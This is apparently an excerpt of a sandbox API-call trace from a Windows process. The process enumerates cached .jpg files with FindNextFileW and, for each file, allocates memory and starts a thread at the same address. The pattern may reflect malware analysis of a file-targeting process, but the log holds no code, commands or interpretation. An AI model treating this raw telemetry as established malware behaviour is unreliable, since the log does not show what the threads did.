	[0284.273] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b65ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b65ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53b8c150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x176d, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBO1mQ[1].jpg", cAlternateFileName="BBBO1M~1.JPG")) returned 1
	[0284.274] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28
	[0284.275] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.276] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d18e120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6d18e120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6d1b4280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x6218, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBO3tl[1].jpg", cAlternateFileName="BBBO3T~1.JPG")) returned 1
	[0284.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c
	[0284.278] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.279] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x532eb190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x75a, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBO8dQ[1].jpg", cAlternateFileName="BBBO8D~1.JPG")) returned 1
	[0284.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30
	[0284.281] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.282] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x537add90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x537add90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x537add90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d89, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBOe7C[1].jpg", cAlternateFileName="BBBOE7~1.JPG")) returned 1
	[0284.282] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34
	[0284.284] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.285] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5303d8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5303d8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5303d8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1e36, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBPThN[1].jpg", cAlternateFileName="BBBPTH~1.JPG")) returned 1
	[0284.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38
	[0284.287] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.287] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53063a30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ee7, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBPUFJ[1].jpg", cAlternateFileName="BBBPUF~1.JPG")) returned 1
	[0284.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c
	[0284.290] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.290] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533a9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533a9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x533a9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBQxzx[1].jpg", cAlternateFileName="BBBQXZ~1.JPG")) returned 1
	[0284.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40
	[0284.462] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.463] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45ab8030, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBseMP[1].jpg", cAlternateFileName="BBBSEM~1.JPG")) returned 1
	[0284.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44
	[0284.732] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.733] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53af3bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53af3bd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53af3bd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x16d6, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBsqNL[1].jpg", cAlternateFileName="BBBSQN~1.JPG")) returned 1
	[0284.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48
	[0284.735] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.736] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x515e8570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7ae, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBTpvW[1].jpg", cAlternateFileName="BBBTPV~1.JPG")) returned 1
	[0284.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c
	[0284.737] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.738] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53194530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x974, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBVEOW[1].jpg", cAlternateFileName="BBBVEO~1.JPG")) returned 1
	[0284.738] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50
	[0284.740] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.741] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e74850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1e67, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBVGsM[1].jpg", cAlternateFileName="BBBVGS~1.JPG")) returned 1
	[0284.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54
	[0284.742] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.743] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x530afcf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaa8, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBVIzI[1].jpg", cAlternateFileName="BBBVIZ~1.JPG")) returned 1
	[0284.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58
	[0284.745] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.746] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f59090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f59090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f59090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x97a, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBVJ4r[1].jpg", cAlternateFileName="BBBVJ4~1.JPG")) returned 1
	[0284.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c
	[0284.768] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.768] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5160e6d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5160e6d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5160e6d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7d8, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBVxM8[1].jpg", cAlternateFileName="BBBVXM~1.JPG")) returned 1
	[0284.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60
	[0284.770] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.771] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538de890, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538de890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x538de890, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBz9wz[1].jpg", cAlternateFileName="BBBZ9W~1.JPG")) returned 1
	[0284.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64
	[0284.773] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.774] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6421e580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6421e580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x642446e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x24be, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBzxW1[1].jpg", cAlternateFileName="BBBZXW~1.JPG")) returned 1
	[0284.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68
	[0284.776] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.776] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6125cc20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6125cc20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61282d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x33a8, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC06Ub[1].jpg", cAlternateFileName="BBC06U~1.JPG")) returned 1
	[0284.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c
	[0284.778] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.779] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53017770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53017770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53017770, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC095c[1].jpg", cAlternateFileName="BBC095~1.JPG")) returned 1
	[0284.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70
	[0284.849] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.849] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ff1610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ff1610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52ff1610, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17a5, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC0ALC[1].jpg", cAlternateFileName="BBC0AL~1.JPG")) returned 1
	[0284.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb74
	[0284.851] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.852] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53089b90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53089b90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53089b90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2720, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC0lYn[1].jpg", cAlternateFileName="BBC0LY~1.JPG")) returned 1
	[0284.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78
	[0284.854] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.854] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f0cdd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f0cdd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f0cdd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x522, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC0mlu[1].jpg", cAlternateFileName="BBC0ML~1.JPG")) returned 1
	[0284.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c
	[0284.857] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.858] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e28590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x188f, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC0rDa[1].jpg", cAlternateFileName="BBC0RD~1.JPG")) returned 1
	[0284.858] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80
	[0284.860] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.860] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e9a9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e9a9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e9a9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7fe, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC0rDa[2].jpg", cAlternateFileName="BBC0RD~2.JPG")) returned 1
	[0284.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84
	[0284.862] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.863] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e275160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e275160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e275160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x320d, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBC0tCi[1].jpg", cAlternateFileName="BBC0TC~1.JPG")) returned 1
	[0284.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88
	[0284.864] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.865] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459d37f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459d37f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459d37f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x28f2, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBDK7Yy[1].jpg", cAlternateFileName="BBDK7Y~1.JPG")) returned 1
	[0284.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c
